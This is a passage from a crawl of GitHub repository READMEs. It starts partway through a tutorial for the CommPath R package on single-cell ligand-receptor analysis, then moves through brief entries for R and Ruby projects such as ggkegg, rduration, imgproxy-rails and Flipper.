# Here we set the parameter "filter" as FALSE, which means that those LR interactions are identified only based on their expression profiles, not filtered by pathways in the receiver cells (as described in the later sections)
pdf('circosPlot.count.nonfiltered.pdf',height=6,width=6)
circosPlot(object = tumor.obj, filter=FALSE)
dev.off()

In the above circos plot, the directions of lines indicate the associations from ligands to receptors, and the widths of lines represent the counts of LR pairs among clusters.

# To show the overall interaction intensity of LR interactions among all clusters
pdf('circosPlot.intensity.nonfiltered.pdf',height=6,width=6)
circosPlot(object = tumor.obj, plot="intensity", filter=FALSE)
dev.off()

Now the widths of lines represent the overall interaction intensity among clusters.

Pathway enrichment analysis

CommPath conducts pathway analysis to identify dysregulated signaling pathways containing the marker ligands and receptors for each cluster.

# To find pathways of which the genesets show overlap with the marker ligands and receptors
# CommPath provides pathway annotations from KEGG pathways, WikiPathways, reactome pathways, and GO terms
# Here we take the KEGG pathways as an example
tumor.obj <- findLRpath(object = tumor.obj, category = "kegg")

Now genesets showing overlap with the marker ligands and receptors are stored in tumor.obj@pathway[['pathwayLR']]. Then we score the pathways to measure the activation levels for each pathway in each cell.

# To compute pathway activation score by the gsva algorithm or in an average manner
# For more information about the gsva algorithm, see the GSVA package (PMID23323831)
tumor.obj <- scorePath(object = tumor.obj, method = "gsva", min.size = 10, parallel.sz = 4)

After that CommPath provides diffAllPath to perform pathway differential activation analysis for each cluster and find the receptors and ligands in each pathway:

# To get significantly up-regulated pathways in each cluster
acti.path.dat <- diffAllPath(object = tumor.obj, only.posi = TRUE, only.sig = TRUE)
head(acti.path.dat)

There are several columns stored in the variable acti.path.dat:

Columns mean.diff, mean.1, mean.2, t, df, P.val and P.val.adj show the statistic results; description shows the name of pathway;

Column ligand.in.path and receptor.in.path show the marker ligands and receptors expressed by the current cluster and included in the current pathway;

Then we use pathHeatmap to present a heatmap of those differentially activated pathways for each cluster:

pdf('pathHeatmap.pdf',height=10,width=7)
pathHeatmap(object = tumor.obj,
       acti.path.dat = acti.path.dat,
       top.n.pathway = 10,
       cell.aver = TRUE)
dev.off()

Screening LR interactions associated with activated pathways

For each cell cluster, CommPath identifies LR associations involved in the activated pathways to screen functional LR interactions. Those pathway-filtered interacctions are considered to be more likely to trigger the corresponding molecular pathways in the receiver cells.

# To screen functional LR interactions
tumor.obj <- filterLR(object = tumor.obj, acti.path.dat = acti.path.dat)

Then counts of filtered significant LR pairs and the corresponding overall interaction intensity among cell clusters are stored in tumor.obj@interact.filter[['InteractNumer']]，and the detailed information of each LR pair is stored in tumor.obj@interact.filter[['InteractGene']].

We next filter the pathways by removing those pathways containing only specific marker ligands which do not triger any pathway in the downstream clusters:

acti.path.filtered.dat <- filterPath(object = tumor.obj, acti.path.dat = acti.path.dat)

Filtered interactions could be also visualized through the circos plot:

# To show the counts of filtered LR associations among all clusters
pdf('circosPlot.count.filtered.pdf',height=6,width=6)
circosPlot(object = tumor.obj, filter=TRUE)
dev.off()

# To show the overall interaction intensity of filtered LR interactions among all clusters
pdf('circosPlot.intensity.filtered.pdf',height=6,width=6)
circosPlot(object = tumor.obj, plot="intensity", filter=TRUE)
dev.off()

Users would highlight the interaction of specific clusters. Here we take the Endothelial cells as an example:

select.ident = 'Endothelial'
pdf('circosPlot.Endothelial.count.filtered.pdf',height=6,width=6)
circosPlot(object = tumor.obj, select.ident = select.ident, filter=TRUE)
dev.off()

For a specific cluster of interest, CommPath provides function findLigand (findReceptor) to find the upstream (downstream) cluster and the corresponding ligand (receptor) interacting with the specific cluster:

# To find upstream clusters and ligands for the selected cluster and receptor 
select.ident = "Endothelial"
select.receptor = "ACKR1"

ident.up.dat <- findLigand(object = tumor.obj, 
    select.ident = select.ident, 
    select.receptor = select.receptor)
head(ident.up.dat)

# To find downstream clusters and receptors for the selected cluster and ligand 
select.ident = "Endothelial"
select.ligand = "CXCL12"

ident.down.dat <- findReceptor(object = tumor.obj, 
    select.ident = select.ident, 
    select.ligand = select.ligand)
head(ident.down.dat)

There are 7 columns stored in the variable ident.up.dat/ident.down.dat:

Columns cell.from, cell.to, ligand, receptor show the upstream and dowstream clusters and the specific ligands and receptors for the LR associations;

Columns log2FC.LR, P.val.LR, P.val.adj.LR show the interaction intensity (measured by the product of log2FCs of ligands and receptors) and the corresponding original and adjusted P values for hypothesis tests of the LR pairs.

For the cluster of interest, CommPath also provides dot plots to investigate its upstream clusters which release specific ligands and its downstream clusters which express specific receptors:

# To investigate the upstream clusters which release ligands to the selected cluster
pdf('dotPlot.ligand.Endothelial.pdf',height=5,width=10)
dotPlot.LR(object = tumor.obj, receptor.ident = select.ident)
dev.off()

# To investigate the downstream clusters which express receptors for the selected cluster
pdf('dotPlot.receptor.Endothelial.pdf',height=5,width=10.5)
dotPlot.LR(object = tumor.obj, ligand.ident = select.ident)
dev.off()

Then CommPath provides network graph tools to visualize the pathways and associated functional LR interactions:

# First to integrate the statistics of filtered activated pathways and their associated LR interactions 
tumor.obj <- pathNet(object = tumor.obj, acti.path.filtered.dat = acti.path.filtered.dat)
# To visualize the pathways and the associated upstream LR interactions in a network plot
pdf('pathNet.upstream.Endothelial.1.pdf',width=6,heigh=6)
set.seed(1234)
pathNetPlot(object = tumor.obj, select.ident =  select.ident, plot = "upstream",
    layout = 'layout.davidson.harel',
    vert.size.LR = 3, vert.size.path.adj = 10, 
    LR.label = 'R', vertex.label.cex.LR=0.25, vertex.label.cex.path=0.3)
dev.off()

In the above network graph, the pie charts represent the activated pathways in the selected cells (here Endothelial cells) and the scatter points represent the LR pairs of which the receptors are included in the genesets of the linked pathways. Colors of scatter points indicate the upstream clusters releasing the corresponding ligands. Sizes of pie charts indicate their total in-degree and the proportions indicate the in-degree from different upstream clusters. This plot would provide lots of important and detailed information of signaling pathways and the relevant LR interactions along the communication chains. To ensure the flexibility and interpretability, CommPath functions provide multiple optional arguments for selecting and limiting pathways and LR pairs to depict.

To select the top 5 significantly upregulated pathways in Endothelial cells
pdf('pathNet.upstream.Endothelial.top5.pdf',width=6,heigh=6)
set.seed(1234)
pathNetPlot(object = tumor.obj, select.ident =  select.ident, plot = "upstream",
    top.n.path=5,
    layout = 'layout.davidson.harel',
    vert.size.LR = 3, vert.size.path.adj = 10, 
    LR.label = 'R', vertex.label.cex.LR=0.25, vertex.label.cex.path=0.3)
dev.off()

To select and show pathways of interest in the diagram by names of pathways directly
pdf('pathNet.upstream.Endothelial.selectpathway.pdf',width=6,heigh=6)
set.seed(1234)
pathNetPlot(object = tumor.obj, select.ident =  select.ident, plot = "upstream",
    select.path = c("JAK-STAT signaling pathway", "MAPK signaling pathway", "Ras signaling pathway", "PI3K-Akt signaling pathway", "AMPK signaling pathway"),
    layout = 'layout.davidson.harel',
    vert.size.LR = 3, vert.size.path.adj = 10, 
    LR.label = 'R', vertex.label.cex.LR=0.25, vertex.label.cex.path=0.3)
dev.off()

# Also to visualize the pathways and the associated downstream LR interactions in a network plot
pdf('pathNet.downstream.Endothelial.pdf',width=6,heigh=6)
set.seed(1234)
pathNetPlot(object = tumor.obj, select.ident =  select.ident, plot = "downstream",
    layout = 'layout.davidson.harel',
    vert.size.LR = 3, vert.size.path.adj = 10, 
    LR.label = 'L', vertex.label.cex.LR=0.25, vertex.label.cex.path=0.3)
dev.off()

The legend of the above network graph is generally the same to that of the previous network plot, except that: (i) the scatter points represent the LR pairs of which the ligands are included in the genesets of the linked pathways; (ii) colors of scatter points indicate the downstream clusters expressing the corresponding receptors; (iii) sizes of pie charts indicate their total out-degree and the proportions indicate the out-degree to different downstream clusters.

CommPath also provides dot plot to investigate the upstream and downstream LR pairs involved in the specific pathways in the selected clusters:

pathway = "Ras signaling pathway"
# To visualize the upstream LR pairs of which the receptors are expressed by Endothelial cells and are included in the pathway "Ras signaling pathway"
pdf('dotPlot.Ras.pathway.upstream.Endothelial.pdf',height=5,width=7.5)
dotPlot.pathway(object = tumor.obj, pathway = pathway, acti.path.filtered.dat = acti.path.filtered.dat, receptor.ident = select.ident, top.n.inter = 10)
dev.off()

# To visualize the downstream LR pairs of which the ligands are released by Endothelial cells and are included in the pathway "Ras signaling pathway"
pdf('dotPlot.Ras.pathway.downstream.Endothelial.pdf',height=5,width=7.5)
dotPlot.pathway(object = tumor.obj, pathway = pathway, acti.path.filtered.dat = acti.path.filtered.dat, ligand.ident = select.ident, top.n.inter = 10)
dev.off()

Identification of pathway-mediated cell-cell communication chain

For a specific cell cluster, here named as B for demonstration, CommPath identifies the upstream cluster A sending signals to B, the downstream cluster C receiving signals from B, and the significantly activated pathways in B to mediate the A-B-C communication chain. More exactly, through LR and pathways analysis described above, CommPath is able to identify LR pairs between A and B, LR pairs between B and C, and pathways activated in B. Then CommPath screens for pathways in B which involve both the receptors to interact with A and ligands to interact with C.

# To investigate the activated patways and the associated receptors for a specific cluster
select.ident = 'Endothelial'
pdf('pathPlot.Endothelial.pdf',height=6,width=10)
pathPlot(object = tumor.obj, 
    select.ident = select.ident, 
    acti.path.dat = acti.path.filtered.dat)
dev.off()

In the above line plot, the widths of lines between Upstream cluster and Receptor represent the overall interaction intensity between the upstream cluster and Endothelial cells via the specific receptors; the sizes and colors of dots in the Receptor column represent the average log2FC and -log10(P) from differential expression tests comparing the receptor expression in Endothelial cells to that in all other cells; the lengths and colors of bars in the Pathway annotation column represent the mean difference and -log10(P) form differential activation tests comparing the pathway scores in Endothelial cells to those in all other cells.

# To select self-defind cluster for the  central cell population
# And select pathways of interest by names
# Also select the top N receptors by interaction intensity 
select.ident = 'Endothelial'
pdf('pathPlot.Endothelial.selectpathway.pdf',height=4,width=10)
pathPlot(object = tumor.obj, 
    select.ident = select.ident, 
    up.ident = c("Treg","Myeloid","Endothelial","Fibroblast","Hepatocyte"),
    select.path = c("JAK-STAT signaling pathway", "MAPK signaling pathway", "Ras signaling pathway", "PI3K-Akt signaling pathway", "AMPK signaling pathway"),
    top.n.receptor = 5,
    acti.path.dat = acti.path.filtered.dat)
dev.off()

# To investigate the activated patways, the associated receptors and ligands for a specific cluster
pdf('pathChainPlot.Endothelial.pdf',height=6,width=14)
pathChainPlot(object = tumor.obj, 
    select.ident = select.ident, 
    up.ident = c("Treg","Myeloid","Endothelial","Fibroblast","Hepatocyte"),
    down.ident = c("B","Myeloid","Endothelial","Fibroblast","Hepatocyte"),
    select.path = c("JAK-STAT signaling pathway", "MAPK signaling pathway", "Ras signaling pathway", "PI3K-Akt signaling pathway", "AMPK signaling pathway"),
    acti.path.dat = acti.path.filtered.dat)
dev.off()

The legend of the above line plot is generally the same to that of the previous plot from pathPlot.

Comparison of cell-cell communication between two conditions

CommPath also provides useful utilities to compare cell-cell communication between two conditions such as disease and control. Here we, for example, use CommPath to compare the cell-cell communication between cells from HCC tumor and normal tissues. We have pre-created the CommPath object for the normal samples following the above steps, and the data are also available in figshare.

# load(url("https://figshare.com/ndownloader/files/35185525"))
load("path_to_download/HCC.normal.3k.RData")

This dataset consists of 3 varibles: normal.expr : expression matrix for cells from normal tissues; normal.label : identity labels for cells from normal tissues; normal.obj : CommPath object created from normal.expr and normal.label, and processed by CommPath steps described above.

To compare 2 CommPath objects, we shall first identify the differentially activated pathways between the same cluster of cells in the 2 objects.

select.ident <- 'Endothelial'
diff.path.dat <- comparePath(object.1 = tumor.obj, 
		object.2 = normal.obj, 
		select.ident = select.ident)

Then we compare the differentially activated pathways and the cell-cell communication chain mediated by those pathways.

# To compare differentially activated pathways and the involved receptors between the selected clusters in 2 CommPath objects
pdf('pathPlot.compare.Endothelial.pdf',height=6,width=10)
pathPlot.compare(object.1 = tumor.obj, 
		object.2 = normal.obj, 
		select.ident = select.ident,
		up.ident = c("Treg","Myeloid","Endothelial","Fibroblast","Hepatocyte"),
		diff.path.dat = diff.path.dat)
dev.off()

In the above line plot, the widths of lines between Upstream cluster and Receptor represent the overall interaction intensity between the upstream clusters and Endothelial cells via the specific receptors, and the colors indicate the interaction intensity is upregulated (red) or downregulated (blue) in tumor tissues (object.1) compared to that in normal tissues (object.2); the sizes and colors of dots in the Receptor column represent the average log2FC and -log10(P) of expression of receptors in Endothelial cells compared to all other cells in tumor tissues; the lengths and colors of bars in the Pathway annotation column represent the mean difference and -log10(P) of pathway scores of Endothelial cells in tumor tissues compared to that in normal tissues.

# To compare the pathway-mediated cell-cell communication chain for a specific cluster between 2 CommPath objects
pdf('pathChainPlot.compare.Endothelial.pdf',height=6,width=14)
pathChainPlot.compare(object.1 = tumor.obj, 
		object.2 = normal.obj, 
		select.ident = select.ident, 
		up.ident = c("Myeloid","Endothelial","Fibroblast","Hepatocyte"),
    down.ident = c("CD8 T","CD4 T","Treg","NK","Endothelial","Fibroblast","Hepatocyte"),
    select.path = c("Gastric cancer", "Relaxin signaling pathway", "Axon guidance"),
		diff.path.dat = diff.path.dat)
dev.off()

The legend of the above line plot is generally the same to that of the previous plot from pathPlot.compare.

sessionInfo()

R version 3.6.0 (2019-04-26)
Platform: x86_64-apple-darwin15.6.0 (64-bit)
Running under: macOS Mojave 10.14.2

Matrix products: default
BLAS:   /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libBLAS.dylib
LAPACK: /Library/Frameworks/R.framework/Versions/3.6/Resources/lib/libRlapack.dylib

locale:
[1] zh_CN.UTF-8/zh_CN.UTF-8/zh_CN.UTF-8/C/zh_CN.UTF-8/zh_CN.UTF-8

attached base packages:
[1] stats     graphics  grDevices utils     datasets  methods   base     

other attached packages:
[1] CommPath_1.0.0  igraph_1.2.4.1  Matrix_1.2-17   ggplot2_3.3.2  
[5] dplyr_1.0.7     plyr_1.8.4      reshape2_1.4.3  circlize_0.4.13

loaded via a namespace (and not attached):
 [1] Rcpp_1.0.1           lattice_0.20-38      digest_0.6.19       
 [4] packrat_0.7.0        utf8_1.1.4           mime_0.6            
 [7] R6_2.4.0             stats4_3.6.0         RSQLite_2.1.1       
[10] pillar_1.6.4         GlobalOptions_0.1.2  rlang_0.4.12        
[13] rstudioapi_0.10      annotate_1.62.0      blob_1.1.1          
[16] S4Vectors_0.22.0     shinythemes_1.2.0    labeling_0.3        
[19] geneplotter_1.62.0   stringr_1.4.0        RCurl_1.95-4.12     
[22] bit_1.1-14           munsell_0.5.0        shiny_1.3.2         
[25] GSVA_1.32.0          compiler_3.6.0       httpuv_1.5.1        
[28] pkgconfig_2.0.2      BiocGenerics_0.32.0  shape_1.4.4         
[31] htmltools_0.3.6      tidyselect_1.1.1     tibble_3.1.6        
[34] IRanges_2.18.1       XML_3.98-1.19        fansi_0.4.0         
[37] crayon_1.3.4         withr_2.4.3          later_0.8.0         
[40] bitops_1.0-6         grid_3.6.0           xtable_1.8-4        
[43] GSEABase_1.46.0      gtable_0.3.0         lifecycle_1.0.1     
[46] DBI_1.0.0            magrittr_1.5         scales_1.1.0        
[49] graph_1.62.0         stringi_1.4.3        farver_2.0.3        
[52] promises_1.0.1       ellipsis_0.3.2       generics_0.0.2      
[55] vctrs_0.3.8          RColorBrewer_1.1-2   tools_3.6.0         
[58] bit64_0.9-7          Biobase_2.44.0       glue_1.6.0          
[61] purrr_0.3.4          parallel_3.6.0       AnnotationDbi_1.48.0
[64] colorspace_1.4-1     memoise_1.1.0

Citation

Lu H, Ping J, Zhou G, et al. CommPath: An R package for inference and analysis of pathway-mediated cell-cell communication chain from single-cell transcriptomics. Comput Struct Biotechnol J. 2022;20:5978-5983.

PSIAIMS/CAMIS

2023-10-30T01:34:41Z

CAMIS

For more information about the CAMIS project see

PROGR-2324/01_git

2023-10-29T02:00:30Z

Programming in R

Homework Task I -- git and GitHub

This is your first homework task. Since it will not be graded there is no deadline. Nevertheless, we strongly encourage you to try out this task, both to get to know the homework task format and to get to know git. All the following tasks will assume that you know how to use git and GitHub.

Information Material

Slides
Recommended resources
- Software Carpentry Git Course: A very good and thorough first git course that teaches how to use git from the command line. It is strongly recommended that you know the command line git, since you will understand what is going on under the hood even when using other tools. Expected reading time: 3 hours.
- Happy Git with R: A course of git, GitHub, and RStudio. This will teach you how to use all your tools together efficiently.
Additional resources
- Git Immersion: Similar to the "Software Carpentry Git Course" but with less explanation.
- Git and GitHub from the book "R Packages" (1st edition) by Hadley Wickham: A quick intro on how to use git, GitHub, and RStudio that is shorter than "Happy Git with R" above and may be for you if you are a quick learner.
- GitHub Introduction: Get to know the GitHub web interface
- Cheat Sheets are an excellent way to keep a reference around and to look up commands you may have forgot. The big git companies all offer one (and GitHub isn't necessarily the best): GitHub, GitLab, Atlassian. Look at all of them and see if you find them useful.

The Task

This is a project that was set up by different characters, who submitted their work to different branches. However, in the current state their individual contributions are in different branches and have not yet been brought together. Your task is to find out who created what part of the work, and to combine their efforts to get a working project.

You will very likely not be able to do this unless you read a good part of at least one of the sources. Your reward will be that you find out how git works now, while you don't have to stress about deadlines.

Setup

"fork" this repository to your own GitHub Account
"clone" your own fork to your laptop

Inspection

Look at the different branches present in the repository. How do they relate? (Hint: git branch --all is useful here. The "History" button in RStudio's "Git" pane may also be useful: try to show "(all branches)".)
What branch / what character was working on which function?

Merging

Combine all the different branches into the master branch. You will get at least one "merge conflict", which you have to resolve intelligently: consider which of the conflicting edits is more "valuable". Note that you should not blindly merge all branches you find, because some branches are "parents" of other branches.

After You Merge

Can you find out what part of the resulting code was created by what character? You could browse commits in GitHub, you could use GitHub's "blame" function, and you can use git blame. Get familiar with all of them.

Rendering

You whould now be able to load sierpinski.Rmd in your RStudio session and render it, getting a nice animation. Your result should look like this:

nrennie/r-pharma-2023-tidymodels

2023-10-29T02:00:30Z

R/Pharma 2023 Conference workshop materials.

R/Pharma Conference 2023

Workshop: Introduction to machine learning with {tidymodels}

Machine learning (ML) is an important aspect of data science that can be used to create predictions, make classifications, and uncover insights in data that can be difficult to detect. ML models are becoming increasingly common in medical and pharmaceutical settings, from aiding in patient diagnosis to analysing responses to treatment. {tidymodels} is a collection of R packages that can be used for various aspects of machine learning pipelines, including sampling data, building and fitting models, and performance evaluation. {tidymodels} provides a consistent, user-friendly approach to fitting machine learning models in R.

This interactive workshop will introduce some common machine learning techniques including (but not limited to) Lasso regression, random forests, and support vector machines, and demonstrate how to fit these models in R using {tidymodels}. We'll also cover some of the common issues arising in machine learning such as dealing with imbalanced data, biases in predictive performance, parameter tuning and model over-fitting. No previous knowledge of machine learning is required for this workshop, though familiarity with some statistical concepts such as correlation, variability, and simple linear regression may be helpful. Being reasonably comfortable with data wrangling using {dplyr} and {tidyr} would be beneficial to attendees.

Useful Links

GitHub: github.com/nrennie/r-pharma-2023-tidymodels
Slides: nrennie.github.io/r-pharma-2023-tidymodels
Q & A blog post: nrennie.rbind.io/blog/answering-some-tidymodels-questions

noriakis/ggkegg

2023-10-29T02:00:30Z

Analyzing and visualizing KEGG information using the grammar of graphics

ggkegg

A set of functions to analyse and plot the KEGG information using tidygraph, ggraph and ggplot2.

The detailed documentation is here using bookdown.

Installation

Using BiocManager:

BiocManager::install("ggkegg")

Using devtools:

devtools::install_github("noriakis/ggkegg")

Examples

library(ggkegg)
library(ggfx)
library(igraph)
library(tidygraph)
library(dplyr)

pathway("ko01100") |>
  process_line() |>
  highlight_module(module("M00021")) |>
  highlight_module(module("M00338")) |>
  ggraph(x=x, y=y) +
  geom_node_point(size=1, aes(color=I(fgcolor),
                              filter=fgcolor!="none" & type!="line"))+
  geom_edge_link0(width=0.1, aes(color=I(fgcolor),
                                filter=type=="line"& fgcolor!="none"))+
  with_outer_glow(
    geom_edge_link0(width=1,
                   aes(color=I(fgcolor),
                       filter=(M00021 | M00338))),
    colour="red", expand=5
  )+
  with_outer_glow(
    geom_node_point(size=1.5,
                    aes(color=I(fgcolor),
                        filter=(M00021 | M00338))),
    colour="red", expand=5
  )+
  geom_node_text(size=2,
                 aes(x=x, y=y,
                     label=graphics_name,
                     filter=name=="path:ko00270"),
                 repel=TRUE, family="sans", bg.colour="white")+
  theme_void()

You can use your favorite geoms to annotate raw KEGG map combining the functions.

m <- module("M00013")
g <- pathway("ko00640") |> mutate(mod=highlight_set_nodes(m@reaction_components,how="all"))
gg <- ggraph(g, layout="manual", x=x, y=y)+
  geom_node_rect(fill="grey",aes(filter=type=="ortholog"))+
  overlay_raw_map("ko00640")+
  geom_node_point(aes(filter=type=="compound"), shape=21, fill="blue", color="black", size=2)+
  ggfx::with_outer_glow(geom_node_point(aes(filter=mod, x=x, y=y), color="red",size=2),
                        colour="yellow",expand=5)+
  theme_void()
gg

Or customize graphics based on ggraph.

g <- pathway("hsa04110")
pseudo_lfc <- sample(seq(0,3,0.1), length(V(g)), replace=TRUE)
names(pseudo_lfc) <- V(g)$name

ggkegg("hsa04110",
       convert_org = c("pathway","hsa","ko"),
       numeric_attribute = pseudo_lfc)+
  geom_edge_parallel2(
    aes(color=subtype_name),
    arrow = arrow(length = unit(1, 'mm')), 
    start_cap = square(1, 'cm'),
    end_cap = square(1.5, 'cm')) + 
  geom_node_rect(aes(filter=.data$type=="group"),
                 fill="transparent", color="red")+
  geom_node_rect(aes(fill=numeric_attribute,
                     filter=.data$type=="gene"))+
  geom_node_text(aes(label=converted_name,
                     filter=.data$type == "gene"),
                 size=2.5,
                 color="black")+
  with_outer_glow(geom_node_text(aes(label=converted_name,
                                     filter=converted_name=="PCNA"),
                                 size=2.5, color="red"),
                  colour="white",
                  expand=4)+
  scale_edge_color_manual(values=viridis::plasma(11))+
  scale_fill_viridis(name="LFC")+
  theme_void()

alan-turing-institute/advent-of-code-2021

2023-10-29T02:00:36Z

Advent of Code 2021

giellalt/dict-sma-fin

2023-10-29T02:01:01Z

cmdli/rhymepass

2023-10-30T01:35:09Z

frankwxu/digital-forensics-lab

2023-10-29T02:01:06Z

Free hands-on digital forensics labs for students and faculty

hypomodern/rduration

2023-10-30T01:35:26Z

Simple utility for parsing durations from strings and comparing them. Basic math is also supported.

Duration

Provides simple (somewhat naive) Duration parsing from strings. Allows you to compare and modify durations.

Installation

Add this line to your application's Gemfile:

gem 'rduration', :require => 'duration'

And then execute:

$ bundle

Or install it yourself as:

$ gem install rduration

Usage

duration_spec.rb has more details about the types of strings this can handle, but here's brief overview:

a = Duration.new("01:46:00")
b = Duration.new("25 minutes 17 seconds")
a > b # => true
a - b # => #<Duration:2164349940 @raw="4843">
[b, a].sort # => [a, b]

b.to_clock_format # => "25:17"

If you require 'duration/string_ext' then strings gain a new method: #to_duration

"35m 5s".to_duration # => NoMethodError: undefined method `to_duration' for "35m 5s":String

require 'duration/string_ext'
"35m 5s".to_duration # => #<Duration:2151903540 @raw="35m 5s">

# once you've done this, the arithmetic and comparison stuff works too
"35m 5s".to_duration > "10m" # => true
"35m 5s".to_duration > "50m" # => false
"35m 5s".to_duration + "10m" # => #<Duration:2156162420 @raw="2705">

Formats

Here's a list of formats that will parse:

Duration
  #parse
    parses "0" as 0 seconds
    parses "00:00" as 0 seconds
    parses "0 seconds" as 0 seconds
    parses nil as 0 seconds
    parses "45s" as 45 seconds
    parses "45 seconds" as 45 seconds
    parses "00:00:45" as 45 seconds
    parses "45" as 45 seconds
    parses "137s" as 137 seconds
    parses "2m17s" as 137 seconds
    parses "2 minutes 17 seconds" as 137 seconds
    parses "02:17" as 137 seconds
    parses "2:17" as 137 seconds
    parses "1h32m07s" as 5527 seconds
    parses "1:32:07" as 5527 seconds
    parses "92 minutes and 7 seconds" as 5527 seconds
    parses "3d10h15m" as 296100 seconds
    parses "3:10:15:00" as 296100 seconds
    parses "82 hours 15 minutes" as 296100 seconds

Interesting Methods

#to_clock_format leverages #to_s's newfound proc handling powers to format the output. Speaking of...
#to_s takes a proc, and yields the duration in seconds to it. This is useful for output.

CHANGELOG

v0.0.2 Speling And Hashify
- Corrected spelling (thanks @czarneckiD) and killed an extraneous method.
v0.0.1 Hello World
- Handles all of my use cases. Could be better at everything, though :).

Contributors (Thanks!)

czarneckiD fixed an odd spelling mishap.

Contributing

Fork it
Create your feature branch (git checkout -b my-new-feature)
Commit your changes (git commit -am 'Added some feature')
Push to the branch (git push origin my-new-feature)
Create new Pull Request

Copyright

imgproxy/imgproxy-rails

2023-10-30T01:35:26Z

Integration of imgproxy.rb with ActiveStorage::Variant API.

Installation

Add to your project:

# Gemfile
gem "imgproxy-rails"

Supported Ruby versions

Ruby (MRI) >= 2.7.0
JRuby >= 9.3.0

Supported Rails versions

Rails >= 6.0.0

Usage

Given the following configuration:

# development.rb
config.active_storage.resolve_model_to_route = :rails_storage_proxy

# production.rb
config.active_storage.resolve_model_to_route = :imgproxy_active_storage

The following HTML snippet will generate different URLs in dev and prod:

# show.erb.html
<%= image_tag Current.user.avatar.variant(resize: "100x100") %>

In dev, it will generate a URL like this:

<img src="http://localhost:3000/rails/active_storage/blobs/proxy/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBWHc9IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--0c35e9a616c29da2dfa10a385bae7172526e7961/me.png">

In prod, it will generate a URL like this:

<img src="https://imgproxy.example.com/8uVB2dYrZVOdG-1tekFjNJZ7s7VHDViXJbu9TcQavQ8/fn:me.png/aHR0cDovL2xvY2Fs/aG9zdDozMDAwL3Jh/aWxzL2FjdGl2ZV9z/dG9yYWdlL2Jsb2Jz/L3Byb3h5L2V5SmZj/bUZwYkhNaU9uc2li/V1Z6YzJGblpTSTZJ/a0pCYUhCQldIYzlJ/aXdpWlhod0lqcHVk/V3hzTENKd2RYSWlP/aUppYkc5aVgybGtJ/bjE5LS0wYzM1ZTlh/NjE2YzI5ZGEyZGZh/MTBhMzg1YmFlNzE3/MjUyNmU3OTYxL21l/LnBuZw">

You can also specify imgproxy-specific parameters in imgproxy_options attribute. Imgproxy-specific params will take precedence over ones from original API:

# height=50 and width=50 will be applied
Current.user.avatar.variant(resize: "100x100", imgproxy_options: {height: 50, width: 50})

Contributing

Bug reports and pull requests are welcome on GitHub at https://github.com/imgproxy/imgproxy-rails.

Credits

This gem is generated via new-gem-generator.

License

The gem is available as open source under the terms of the MIT License.

chadstachowicz/MindsMesh-Web

2023-10-30T01:35:26Z

MindsMesh-Heroku

== MINDSMESH.COM

== API ROUTES grouped_with_parents_api_v1_notifications GET /api/v1/notifications/grouped/with_parents(.:format) api/V1/notifications#grouped_with_parents mark_as_read_api_v1_notification POST /api/v1/notifications/:id/mark_as_read(.:format) api/V1/notifications#mark_as_read with_children_api_v1_post GET /api/v1/posts/:id/with_children(.:format) api/V1/posts#with_children likes_api_v1_post GET /api/v1/posts/:id/likes(.:format) api/V1/posts#likes likes_with_parents_api_v1_post GET /api/v1/posts/:id/likes/with_parents(.:format) api/V1/posts#likes_with_parents like_api_v1_post POST /api/v1/posts/:id/like(.:format) api/V1/posts#like unlike_api_v1_post POST /api/v1/posts/:id/unlike(.:format) api/V1/posts#unlike replies_api_v1_post POST /api/v1/posts/:id/replies(.:format) api/V1/posts#create_reply api_v1_posts POST /api/v1/posts(.:format) api/V1/posts#create api_v1_post GET /api/v1/posts/:id(.:format) api/V1/posts#show likes_api_v1_reply GET /api/v1/replies/:id/likes(.:format) api/V1/replies#likes likes_with_parents_api_v1_reply GET /api/v1/replies/:id/likes/with_parents(.:format) api/V1/replies#likes_with_parents like_api_v1_reply POST /api/v1/replies/:id/like(.:format) api/V1/replies#like unlike_api_v1_reply POST /api/v1/replies/:id/unlike(.:format) api/V1/replies#unlike api_v1_reply GET /api/v1/replies/:id(.:format) api/V1/replies#show posts_api_v1_topic GET /api/v1/topics/:id/posts(.:format) api/V1/topics#posts posts_with_parents_api_v1_topic GET /api/v1/topics/:id/posts/with_parents(.:format) api/V1/topics#posts_with_parents join_api_v1_topic POST /api/v1/topics/:id/join(.:format) api/V1/topics#join leave_api_v1_topic POST /api/v1/topics/:id/leave(.:format) api/V1/topics#leave api_v1_topics POST /api/v1/topics(.:format) api/V1/topics#create api_v1_topic GET /api/v1/topics/:id(.:format) api/V1/topics#show with_children_api_v1_user GET /api/v1/users/:id/with_children(.:format) api/V1/users#with_children posts_api_v1_user GET /api/v1/users/:id/posts(.:format) api/V1/users#posts posts_with_parents_api_v1_user GET /api/v1/users/:id/posts/with_parents(.:format) api/V1/users#posts_with_parents api_v1_user GET /api/v1/users/:id(.:format) api/V1/users#show api_v1_session_login POST /api/v1/session/login(.:format) api/v1/session#login api_v1_session_me GET /api/v1/session/me(.:format) api/v1/session#me api_v1_home_posts GET /api/v1/home/posts(.:format) api/v1/home#posts api_v1_home_posts_with_parents GET /api/v1/home/posts/with_parents(.:format) api/V1/home#posts_with_parents api_v1_home_entities GET /api/v1/home/entities(.:format) api/v1/home#entities api_v1_home_entities_with_children GET /api/v1/home/entities/with_children(.:format) api/V1/home#entities_with_children api_v1_home_topics GET /api/v1/home/topics(.:format) api/v1/home#topics api_v1_home_search_topics POST /api/v1/home/search_topics(.:format) api/v1/home#search_topics api_v1_home_register_device POST /api/v1/home/register_device(.:format) api/v1/home#register_device POST /api/v1/home/entities(.:format) api/V1/home#create_entity_request api_v1 /api/v1/*path(.:format) api/V1/base#render_404

flippercloud/flipper

2023-10-29T02:01:17Z

🐬 Beautiful, performant feature flags for Ruby.

Website | Documentation | Examples | Twitter

Flipper

Beautiful, performant feature flags for Ruby.

Flipper gives you control over who has access to features in your app.

Enable or disable features for everyone, specific actors, groups of actors, a percentage of actors, or a percentage of time.
Configure your feature flags from the console or a web UI.
Regardless of what data store you are using, Flipper can performantly store your feature flags.
Use Flipper Cloud to cascade features from multiple environments, share settings with your team, control permissions, keep an audit history, and rollback.

Control your software — don't let it control you.

Installation

Add this line to your application's Gemfile:

gem 'flipper'

You'll also want to pick a storage adapter, for example:

gem 'flipper-active_record'

And then execute:

$ bundle

Or install it yourself with:

$ gem install flipper

Subscribe & Ship

💌 Subscribe - we'll send you short and sweet emails when we release new versions.

Getting Started

Use Flipper#enabled? in your app to check if a feature is enabled.

# check if search is enabled
